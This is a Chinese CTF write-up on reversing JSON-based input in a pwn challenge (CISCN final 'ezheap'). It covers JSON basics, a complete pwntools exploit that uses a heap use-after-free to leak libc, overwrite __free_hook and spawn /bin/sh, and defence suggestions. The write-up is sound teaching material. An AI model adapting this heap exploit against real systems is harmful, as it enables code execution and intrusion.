关于pwn中json的逆向
字数 952 2025-08-22 12:22:24

JSON格式在Pwn中的逆向分析与利用

JSON格式基础

基本结构

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,具有以下基本规则:

  1. 对象:由花括号 {} 包围,包含零个或多个键值对
  2. 数组:由方括号 [] 包围,包含零个或多个值
  3. :必须是字符串,且必须用双引号 "" 包围
  4. :可以是字符串、数字、对象、数组、布尔值(truefalse)或 null

JSON示例

  1. 简单对象
{
  "name": "John Doe",
  "age": 30,
  "is_student": false
}
  1. 嵌套对象
{
  "person": {
    "name": "John Doe",
    "age": 30,
    "address": {
      "street": "123 Main St",
      "city": "Anytown",
      "country": "USA"
    }
  }
}
  1. 数组
{
  "fruits": ["apple", "banana", "cherry"]
}
  1. 对象数组
{
  "employees": [
    {"name": "John Doe", "age": 30},
    {"name": "Jane Smith", "age": 25},
    {"name": "Emily Johnson", "age": 35}
  ]
}
  1. 布尔值和空值
{
  "success": true,
  "data": null
}

Pwn中的JSON逆向分析

识别JSON输入

在二进制安全挑战中,识别程序处理JSON输入的关键点:

  1. 特殊字符检查

    • {}:对象开始和结束
    • []:数组开始和结束
    • ":字符串界定符
    • ::键值分隔符
    • ,:值分隔符
  2. 关键字检查

    • truefalse:布尔值
    • null:空值
  3. 格式验证

    • 检查对象和数组是否闭合
    • 验证键是否为字符串
    • 验证值的类型

实际案例分析(CISCN决赛ezheap)

漏洞背景

  • libc版本:2.31
  • 存在漏洞:Use-After-Free (UAF)
  • edit函数没有长度限制

JSON输入逆向

程序接收JSON格式输入,例如:

{
  "choice": "new",
  "index": 1,
  "length": 20,
  "message": "hello"
}

漏洞利用关键点

  1. 堆块分配:处理JSON输入时会开辟堆块
  2. UAF利用:通过无限制的double free实现利用
  3. 攻击流程
    • 获取libc基地址
    • 攻击__free_hook

EXP代码分析

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 初始化连接
p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc

# 功能函数
def add(size, cont):
    payload = '{' + '"choice":"new",' + '"index":1,' + f'"length":{size},' + '"message":' + '"'
    payload = payload.encode()
    payload += cont
    payload += b'"' + b'}'
    p.sendlineafter("Please input:", payload)

def edit(idx, len, cont):
    payload = '{' + '"choice":"modify",' + f'"index":{idx},' + f'"length":{len},' + '"message":' + '"'
    payload = payload.encode()
    payload += cont
    payload += b'"' + b'}'
    p.sendlineafter("Please input:", payload)

def delete(idx):
    payload = '{' + '"choice":"rm",' + f'"index":{idx},' + f'"length":20,' + '"message":' + '"' + '1' + '"' + '}'
    p.sendlineafter("Please input:", payload)

def show(idx):
    payload = '{' + '"choice":"view",' + f'"index":{idx},' + f'"length":20,' + '"message":' + '"' + '1' + '"' + '}'
    p.sendlineafter("Please input:", payload)

# 利用过程
# 1. 创建两个大chunk
add(0x400, b'a') #0
add(0x400, b'a') #1

# 2. 释放chunk0并通过edit触发UAF
delete(0)
for i in range(6):
    edit(0, 0x400, b'a'*0x10)

# 3. 再次释放chunk0和chunk1
delete(0)
delete(1)

# 4. 创建小chunk用于泄露libc地址
add(0x60, b'') #2
edit(2, 1, b'\xe0')
show(2)

# 5. 计算libc基地址
p.recvuntil('message:')
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
system = libcbase + libc.sym['system']
binsh = libcbase + 0x1B45BD
free_hook = libcbase + libc.sym['__free_hook']

# 6. 修改free_hook为system
edit(0, 0x400, p64(free_hook)[:6])
add(0x400, b'/bin/sh') #3
add(0x400, p64(system)[:6]) #4

# 7. 触发shell
delete(3)
p.interactive()

关键知识点总结

  1. JSON格式识别:在逆向中识别程序处理JSON输入的关键字符和结构
  2. 堆利用技巧
    • 通过UAF实现double free
    • 利用堆分配泄露libc地址
    • 修改__free_hook实现控制流劫持
  3. 利用链构建
    • 通过edit函数无长度限制实现堆溢出
    • 精心设计堆布局实现地址泄露
    • 最终通过free触发system("/bin/sh")

防御建议

  1. 输入验证

    • 严格验证JSON格式
    • 限制键值对的数量和大小
  2. 内存安全

    • 对edit操作添加长度检查
    • 及时置空释放的指针
  3. 防护机制

    • 启用堆保护机制(如FORTIFY_SOURCE)
    • 考虑使用现代内存分配器(如scudo)
JSON格式在Pwn中的逆向分析与利用 JSON格式基础 基本结构 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,具有以下基本规则: 对象 :由花括号 {} 包围,包含零个或多个键值对 数组 :由方括号 [] 包围,包含零个或多个值 键 :必须是字符串,且必须用双引号 "" 包围 值 :可以是字符串、数字、对象、数组、布尔值( true 或 false )或 null JSON示例 简单对象 : 嵌套对象 : 数组 : 对象数组 : 布尔值和空值 : Pwn中的JSON逆向分析 识别JSON输入 在二进制安全挑战中,识别程序处理JSON输入的关键点: 特殊字符检查 : { 和 } :对象开始和结束 [ 和 ] :数组开始和结束 " :字符串界定符 : :键值分隔符 , :值分隔符 关键字检查 : true 、 false :布尔值 null :空值 格式验证 : 检查对象和数组是否闭合 验证键是否为字符串 验证值的类型 实际案例分析(CISCN决赛ezheap) 漏洞背景 libc版本:2.31 存在漏洞:Use-After-Free (UAF) edit函数没有长度限制 JSON输入逆向 程序接收JSON格式输入,例如: 漏洞利用关键点 堆块分配 :处理JSON输入时会开辟堆块 UAF利用 :通过无限制的double free实现利用 攻击流程 : 获取libc基地址 攻击 __free_hook EXP代码分析 关键知识点总结 JSON格式识别 :在逆向中识别程序处理JSON输入的关键字符和结构 堆利用技巧 : 通过UAF实现double free 利用堆分配泄露libc地址 修改 __free_hook 实现控制流劫持 利用链构建 : 通过edit函数无长度限制实现堆溢出 精心设计堆布局实现地址泄露 最终通过 free 触发 system("/bin/sh") 防御建议 输入验证 : 严格验证JSON格式 限制键值对的数量和大小 内存安全 : 对edit操作添加长度检查 及时置空释放的指针 防护机制 : 启用堆保护机制(如FORTIFY_ SOURCE) 考虑使用现代内存分配器(如scudo)